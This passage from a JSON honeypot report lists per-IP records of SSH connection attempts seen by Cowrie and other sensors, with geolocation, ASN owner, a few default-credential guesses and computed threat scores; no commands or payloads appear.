      "as_org": "NovoServe B.V.",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:02:33.425000+00:00",
        "last_seen_30d": "2026-05-12T06:58:31.995000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "34.38.142.69": {
      "attack_count": 10,
      "first_seen": "2026-05-27T05:46:40.310Z",
      "last_seen": "2026-05-27T05:46:53.794Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:46:40.310000+00:00",
        "last_seen_30d": "2026-05-27T05:47:56.904000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "181.18.150.88": {
      "attack_count": 8,
      "first_seen": "2026-05-19T08:07:13.164Z",
      "last_seen": "2026-05-19T11:24:27.136Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:07:13.164000+00:00",
        "last_seen_30d": "2026-05-19T11:25:32.471000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "201.49.184.158": {
      "attack_count": 8,
      "first_seen": "2026-05-12T01:38:55.620Z",
      "last_seen": "2026-05-12T01:47:12.718Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": null,
      "asn": 273497,
      "as_org": "IMPERIUM T. BARREIRA GRANDE SER. TELECOM LTDA",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T01:38:55.620000+00:00",
        "last_seen_30d": "2026-05-12T01:48:20.756000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "42.100.60.7": {
      "attack_count": 8,
      "first_seen": "2026-05-20T13:24:57.129Z",
      "last_seen": "2026-05-22T15:43:56.914Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T13:24:57.129000+00:00",
        "last_seen_30d": "2026-05-22T15:45:00.996000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "40.74.212.73": {
      "attack_count": 7,
      "first_seen": "2026-05-09T14:20:10.234Z",
      "last_seen": "2026-05-09T14:20:20.234Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 34.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 11.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 14,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T13:52:08.546000+00:00",
        "last_seen_30d": "2026-05-22T22:25:26.657000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 7,
        "Honeytrap": 6
      }
    },
    "159.89.124.231": {
      "attack_count": 6,
      "first_seen": "2026-05-28T09:42:39.310Z",
      "last_seen": "2026-05-28T09:42:39.771Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T09:42:39.310000+00:00",
        "last_seen_30d": "2026-05-28T09:43:47.451000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 6
      }
    },
    "42.238.107.207": {
      "attack_count": 6,
      "first_seen": "2026-05-22T14:18:55.174Z",
      "last_seen": "2026-05-23T01:50:18.997Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:18:55.174000+00:00",
        "last_seen_30d": "2026-05-23T01:51:27.992000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "66.132.195.112": {
      "attack_count": 6,
      "first_seen": "2026-05-21T02:34:33.241Z",
      "last_seen": "2026-05-21T02:35:08.475Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 29,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T17:02:47+00:00",
        "last_seen_30d": "2026-05-31T12:36:04.818000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 11,
        "Cowrie": 6,
        "Honeyaml": 3
      }
    },
    "66.132.195.120": {
      "attack_count": 6,
      "first_seen": "2026-05-07T17:30:49.033Z",
      "last_seen": "2026-05-07T17:31:23.576Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 71.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.3,
        "persistence": 20.0,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 24,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-06T23:50:50+00:00",
        "last_seen_30d": "2026-05-29T16:37:24.074000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Honeytrap": 4,
        "Dionaea": 1
      }
    },
    "79.125.228.139": {
      "attack_count": 6,
      "first_seen": "2026-05-07T16:18:00.946Z",
      "last_seen": "2026-05-07T16:18:09.759Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Skopje",
      "asn": 6821,
      "as_org": "Makedonski Telekom AD-Skopje",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T16:18:00.946000+00:00",
        "last_seen_30d": "2026-05-07T16:19:22.220000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "91.204.209.29": {
      "attack_count": 6,
      "first_seen": "2026-05-14T04:00:32.125Z",
      "last_seen": "2026-05-14T04:00:38.243Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 52148,
      "as_org": "Enix Ltd",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:00:32.125000+00:00",
        "last_seen_30d": "2026-05-14T04:01:38.671000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "154.83.15.101": {
      "attack_count": 5,
      "first_seen": "2026-05-18T12:50:41.173Z",
      "last_seen": "2026-05-18T12:50:43.584Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T12:50:41.173000+00:00",
        "last_seen_30d": "2026-05-18T12:51:45.554000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "64.62.197.182": {
      "attack_count": 5,
      "first_seen": "2026-05-05T16:02:59.063Z",
      "last_seen": "2026-05-28T01:38:00.762Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 282,
        "days_active_30d": 30,
        "ports_targeted_30d": 67,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T03:49:36.917000+00:00",
        "last_seen_30d": "2026-05-31T14:20:08.286000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 166,
        "Honeytrap": 71,
        "Ciscoasa": 14,
        "Redishoneypot": 11,
        "Mailoney": 6,
        "Cowrie": 5,
        "Adbhoney": 4,
        "ConPot": 4,
        "CitrixHoneypot": 1
      }
    },
    "201.238.0.95": {
      "attack_count": 4,
      "first_seen": "2026-05-20T04:59:59.797Z",
      "last_seen": "2026-05-20T05:43:10.202Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T04:59:59.797000+00:00",
        "last_seen_30d": "2026-05-20T05:44:20.169000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "201.238.33.158": {
      "attack_count": 4,
      "first_seen": "2026-05-22T12:51:30.800Z",
      "last_seen": "2026-05-22T13:16:16.963Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T12:51:30.800000+00:00",
        "last_seen_30d": "2026-05-22T13:17:21.794000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "34.229.167.177": {
      "attack_count": 4,
      "first_seen": "2026-05-31T05:34:13.336Z",
      "last_seen": "2026-05-31T05:34:18.604Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-29T05:35:38.352000+00:00",
        "last_seen_30d": "2026-05-31T05:35:23.819000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeyaml": 1
      }
    },
    "91.231.89.174": {
      "attack_count": 4,
      "first_seen": "2026-05-09T12:30:29.197Z",
      "last_seen": "2026-05-09T12:30:29.535Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f172.105.186.117\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'"
      ],
      "passwords_attempted": [
        "\u0000\f\u0000",
        "b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 195,
        "days_active_30d": 30,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T02:17:56.768000+00:00",
        "last_seen_30d": "2026-05-31T01:55:00.107000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 151,
        "Honeytrap": 40,
        "Cowrie": 4
      }
    },
    "139.59.96.155": {
      "attack_count": 3,
      "first_seen": "2026-05-13T06:13:10.752Z",
      "last_seen": "2026-05-13T06:13:10.753Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 177683,
        "days_active_30d": 1,
        "ports_targeted_30d": 65051,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-13T06:08:06+00:00",
        "last_seen_30d": "2026-05-13T06:23:01.568000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 149446,
        "Honeytrap": 28198,
        "Dionaea": 11,
        "Miniprint": 8,
        "ConPot": 6,
        "Cowrie": 3,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "106.200.25.97": {
      "attack_count": 2,
      "first_seen": "2026-05-06T05:44:54.486Z",
      "last_seen": "2026-05-06T05:45:06.513Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T05:44:54.486000+00:00",
        "last_seen_30d": "2026-05-06T05:46:07.613000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.178.163.148": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:29:47.899Z",
      "last_seen": "2026-05-19T06:30:02.451Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:29:47.899000+00:00",
        "last_seen_30d": "2026-05-19T06:31:11.671000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.4.61.100": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:01:56.727Z",
      "last_seen": "2026-05-23T10:02:33.079Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:01:56.727000+00:00",
        "last_seen_30d": "2026-05-23T10:03:36.573000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.211.247.1": {
      "attack_count": 2,
      "first_seen": "2026-05-27T06:39:13.928Z",
      "last_seen": "2026-05-27T06:39:26.087Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T06:39:13.928000+00:00",
        "last_seen_30d": "2026-05-27T06:40:33.039000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.24.190.59": {
      "attack_count": 2,
      "first_seen": "2026-05-22T06:20:19.716Z",
      "last_seen": "2026-05-22T06:20:31.864Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T06:20:19.716000+00:00",
        "last_seen_30d": "2026-05-22T06:21:41.391000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.179.88.108": {
      "attack_count": 2,
      "first_seen": "2026-05-02T04:30:06.454Z",
      "last_seen": "2026-05-02T04:30:20.204Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Indore",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:30:06.454000+00:00",
        "last_seen_30d": "2026-05-02T04:31:28.029000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.165.85.22": {
      "attack_count": 2,
      "first_seen": "2026-05-25T05:55:53.329Z",
      "last_seen": "2026-05-25T05:56:06.737Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T05:55:53.329000+00:00",
        "last_seen_30d": "2026-05-25T05:57:12.632000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "14.224.204.104": {
      "attack_count": 2,
      "first_seen": "2026-05-27T02:20:47.839Z",
      "last_seen": "2026-05-27T02:21:02.074Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T02:20:47.839000+00:00",
        "last_seen_30d": "2026-05-27T02:22:06.810000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.198": {
      "attack_count": 2,
      "first_seen": "2026-05-23T03:53:52.373Z",
      "last_seen": "2026-05-23T03:54:02.179Z",
